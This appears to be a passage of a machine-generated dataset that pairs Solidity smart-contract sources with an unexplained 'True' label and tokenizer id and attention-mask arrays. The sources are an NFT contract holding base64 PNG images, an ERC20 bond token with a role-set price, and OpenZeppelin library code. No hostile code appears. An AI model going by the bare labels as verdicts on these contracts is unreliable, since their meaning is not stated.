3uFt9V4H5zp/mufJ7/P4NzF8+gO3YaAAAAAElFTkSuQmCC";
}
//1/1's UPDATE
contract Accessories5 {
string public constant accessories6 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAD5UExURUdwTPj4+IhLK4CVsmAsLB4dOTQcJ////97soCQVJxUdKERRdsvh5yAuN4GXljlKUDQcHMfPzL53KxEUIHzZTLPwgu324iA1YxAUH+bz1sr0qTRYk0WLxOfy2xozGVpucO343YCZZ93oaeXxyRkzLT1WJbn0icDvi4vkbprwVCVWLpqzN6XkhJreZu725mFzbo+QlqjKWEaCMpacoGuCMgkKFIdoUBcgOKi1spFubuX1zn2GY2heal5YTHWnQ1fZLdDake312ePwvaJ9T3WTSWldRVZtUXNjY6GprOTxxt3pen+KZ+n1ypCUmbLEm/L65x0aPMPOzYSSbjTbsmEAAAAJdFJOUwD///////+Hh446kSQAABUDSURBVHja7JvdThtbEoXB/SOV2+CtVltu5AwXyL4wuQIxQspFkkeY93+aWWvV3v1nm1HCsWEkOkdgjDl8WbW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5vz410dNcQn7Dyye+i/3+l4C+WYluv4gu5ujUnHOAFNpmQoZu3mj85jxGAN+O67eM6ADNgJfLb+P77W5j+beLcRpBALfFfBgtBUZAtQ/XW5T1xg72lrwk6qm7LTL/t1Tn9Mpju+74TrUAcM7YnAHd+vrXb50AGwKy1KRijikMOsTW/LjJhJaUo/qJtbFDtGnTb+bHdOM+DZ72NaDejP3El944b3yhISCCjFrhf32cAW6EMAwEoWmuVQBhCVGp//9o4911ML3T8QFGTtZxbMcumpluEfkZM6U14atpQwI2FSm4yIPwIcYjANH9g/cpU30GfJ67Vm8G9DJJVzGOOcZ/cQ8Y69yhaCNDMGG8JrcSBRQSavumss5xAJBvQrE7p5g5fA3Zq+/5VgfsP5hdIogRUq1kZrbaIcEIRBEuSjdgkcvKc0c3loeM+IH+lFPS8U53TRb8fgd457PFLVjChMwMjs8XlxJtYcV+UoOwKZqhCQdhaUEItZyI+akRVJpqerL2elJ5RKiVfOYiWWVCubtkws2KCC0ReguDCJcWhGsm/BLhAJRwpmuUVAas/4YPhmJ8c/Ut5n0JXuLawXczIQmx/c20zCKUkEkYq7wHoHYiAA92yDniVMerqzyLsubZjZ/ZfmjT8Ri1wN0xNti8moMyxGqoIrtp3HlDzx3F2/VczWwya0y5N3ibnUoe15Kf35NTB5jguoaBXeP17kPgrgFi4nNHAsItAhbC8UM8U+KsgFj2uO6JMNUF4A9vgJ3wlM+BH/wDczPTzR183nQAAAAASUVORK5CYII=";
}
contract Accessories7 {
string public constant accessories20 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAABmUExURUdwTL53K+vkp3pIQY7/AFu3AAkKFAAAAP///zQcJ4hLK8CUc+jBcOfVs8fPzIGXlt6eQSAuNxsNJkEdMaUwMHUkODlKUOvt6c9XPCQVJxUdKOHKqITeU125APDt6vv7+/39/R8ZF/mnMzcAAAAIdFJOUwD///////8GEaseigAAFgZJREFUeN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2ZpovG4gWJF808FXCXMFEAocQxAPwFGskoW7pw+AWT8G9GfCG+fAUr5/AkgS2iA7KXMYEODtBxfgukrYpuKxbjOz/i0PgMbZ178YuyAGTbWGKHEQhBhwk6MNXVkLXFNARutqVimSevN8dBL/YMlJMl8dV1QQN8BM5Y0ClBOAdMMyN9aKoDGXVmqnbdPXihxiYTahYDHMKBKCAHzaYSJZHjagmYGDNMT7JRQK9NbpenHIiEfe1kaGoAhkx47ESLZzhTE7Tap9mr9bZiaAc9Fw6Li5Rjzh0+AZAlxw16CxPw5cTcIEq6AnTAr4bSRJJkpUJT20w6Y386jXxSCWcLfRCNrywAUCWHhAZhBeJ6BLjtd+4QpG+EE+B0+ZK4s4W/1QQUMAsiJAQTM88Fbmqr5DBYDCtgiiQHPqOWEUIrifWzgRcLQ00qey8r5dlNAFrD7YMwMmLhreYYwh2kzcAMUCYWPTL1v8ZmEDBjswWQ5rIBRJpI6oBJGNAbJppDah2g/gYSKblnq9x7iquenZuPQ07YZkFKcBJRDJImEfGXyxBIsfb4mIImEJ7B3Gzd/HKtocXwLRihrbgdMcbFwXgilg66vMwKQk7fRVvofHoGL4wndSAmxwBkgnjt4zvNSE6GdeIeA8ELaovsPrtUudPEorYcAAAAASUVORK5CYII=";
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
12325,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1021,
1025,
3206,
2679,
2487,
1063,
5164,
2270,
5377,
2679,
2487,
1027,
1000,
4921,
12821,
2860,
2692,
2243,
13871,
10441,
11057,
6962,
27225,
13765,
3654,
11057,
2912,
11057,
6305,
18195,
8067,
11057,
2278,
2620,
9351,
2278,
7011,
11057,
7875,
2290,
18939,
8525,
5243,
2389,
21600,
2278,
1013,
100,
1009,
19739,
2581,
22984,
2890,
2480,
2620,
7361,
2100,
2860,
9048,
18939,
4160,
13876,
2860,
2620,
2666,
4215,
2361,
3501,
2549,
1013,
23746,
3501,
2615,
4779,
10695,
9541,
1009,
2456,
22610,
2581,
19279,
4779,
3501,
2615,
4779,
10695,
9541,
1009,
2456,
22610,
2581,
19279,
4779,
3501,
2615,
4779,
10695,
9541,
1009,
2456,
22610,
2581,
19279,
9189,
12274,
2140,
2475,
2906,
21600,
1013,
4466,
2615,
22287,
2487,
2078,
2620,
2595,
2549,
2232,
3489,
8737,
2549,
2480,
2615,
1009,
7020,
2860,
2232,
2620,
2581,
2509,
4160,
9148,
1013,
1018,
4523,
25032,
2546,
1013,
21076,
14540,
3600,
2615,
2615,
8545,
2575,
2497,
2361,
18827,
2050,
2683,
20464,
10258,
3501,
27922,
2497,
3501,
17682,
2480,
3501,
1013,
1022,
8873,
15185,
3501,
23644,
1013,
1062,
16409,
3501,
2620,
3600,
22984,
26952,
2860,
24798,
2509,
26337,
2683,
28311,
2239,
3501,
2629,
3501,
2692,
2094,
2575,
2487,
2100,
2290,
2509,
10242,
2615,
2546,
22251,
2290,
3567,
2389,
2549,
2232,
2692,
2213,
1009,
1041,
19190,
5104,
2890,
4160,
2102,
2497,
3501,
2692,
10085,
8950,
12879,
1013,
1023,
24316,
2140,
1009,
2039,
22734,
6777,
2549,
10536,
3126,
5092,
21600,
2692,
2620,
2140,
2620,
2015,
2549,
6711,
2102,
1013,
1040,
9048,
16665,
23049,
2692,
12325,
1013,
1050,
4160,
3490,
16558,
7646,
10322,
26952,
22895,
26677,
16526,
4710,
2575,
9148,
14702,
2102,
2595,
14702,
7630,
10288,
11444,
2595,
3600,
2581,
18195,
1013,
1013,
1054,
13837,
3501,
8569,
2232,
19279,
2213,
16576,
2232,
8873,
2581,
2102,
25731,
8458,
2890,
2290,
6460,
4183,
11263,
18684,
2575,
22117,
14227,
2278,
3490,
16558,
2860,
2487,
6460,
11231,
2078,
4160,
1009,
16233,
2487,
1009,
1047,
24703,
4783,
2226,
2509,
2100,
2232,
20842,
27487,
25293,
5620,
2102,
2243,
4160,
21472,
4160,
22287,
25974,
2015,
2549,
2480,
16526,
27966,
2243,
2497,
2620,
2063,
2549,
8447,
11514,
26549,
7011,
2015,
2509,
10270,
14702,
2015,
2475,
15378,
2290,
2595,
16050,
2620,
2290,
2094,
3654,
2692,
4160,
4160,
4371,
2546,
2232,
1013,
5824,
2015,
4160,
14343,
16257,
2389,
2618,
2475,
2361,
3501,
2581,
1013,
100,
1013,
1018,
2213,
4160,
2232,
19722,
2509,
26474,
2546,
7295,
2860,
3501,
2290,
23632,
3501,
2581,
4859,
8516,
19190,
3501,
2509,
2595,
2232,
2480,
4168,
2213,
3683,
27065,
2226,
22275,
2361,
2595,
1009,
1042,
2575,
11215,
16558,
2912,
2546,
2078,
4160,
5910,
9331,
3619,
10354,
2549,
11631,
2683,
2480,
2475,
27225,
2705,
18153,
2080,
4160,
2575,
2480,
2575,
2278,
2629,
4478,
2487,
10441,
2099,
2620,
2546,
1013,
1062,
2860,
2620,
28418,
16118,
2860,
5737,
2100,
3501,
6767,
1009,
16731,
6508,
2818,
14536,
16368,
2290,
24594,
2860,
24798,
2094,
2575,
3022,
24798,
20784,
5358,
2243,
2683,
21246,
1009,
16371,
19022,
2243,
3501,
4305,
28008,
26775,
2546,
2290,
3501,
2860,
2475,
14945,
2226,
2509,
4160,
6593,
2243,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-13
*/
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping(address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
/**
* @title Pusher
* @dev Library for managing addresses assigned to a Role.
*/
contract PusherRole {
using Roles for Roles.Role;
event PusherAdded(address indexed account);
event PusherRemoved(address indexed account);
Roles.Role private _pushers;
constructor () internal {
_addPusher(msg.sender);
}
modifier onlyPusher() {
require(isPusher(msg.sender), "Pusher: caller does not have the Pusher role");
_;
}
function isPusher(address account) public view returns (bool) {
return _pushers.has(account);
}
function addPusher(address account) public onlyPusher {
_addPusher(account);
}
function renouncePusher() public {
_removePusher(msg.sender);
}
function _addPusher(address account) internal {
_pushers.add(account);
emit PusherAdded(account);
}
function _removePusher(address account) internal {
_pushers.remove(account);
emit PusherRemoved(account);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract AnAurumDynamicsA2 is ERC20, PusherRole{
string public constant name = 'AADC Collateralized Convertible Bonds Aurum A2';
string public constant symbol = 'AADA2';
uint8 public constant decimals = 18;
uint constant _supply = 120000 * 10**18;
/**
* @dev Price in USD for one token in 10 to the power 18 part
* so, 1 USD = 10^18
*/
uint256 public tokenPrice;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_mint(msg.sender, _supply);
}
event TokenPriceUpdated(uint256 indexed _price);
/**
* @dev Update token price only by Pusher role.
* @param _price new price to be set
*/
function updateTokenPrice(uint256 _price) external onlyPusher{
tokenPrice = _price;
emit TokenPriceUpdated(_price);
}
/**
* @dev Price in USD for token holded by an account in 10 to the power 18 part
* @param account to check the equivalent USD value
* @return uint256 equivalent USD value of token in 10 to the power 18 part
*/
function getTokenPrice(address account) public view returns (uint256) {
return balanceOf(account).mul(tokenPrice).div(10**18);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6021,
1011,
2410,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2475,
1012,
1018,
1012,
1014,
1012,
1035,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-23
*/
// SPDX-License-Identifier: MIT
//
// Developed by https://1block.one
//
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
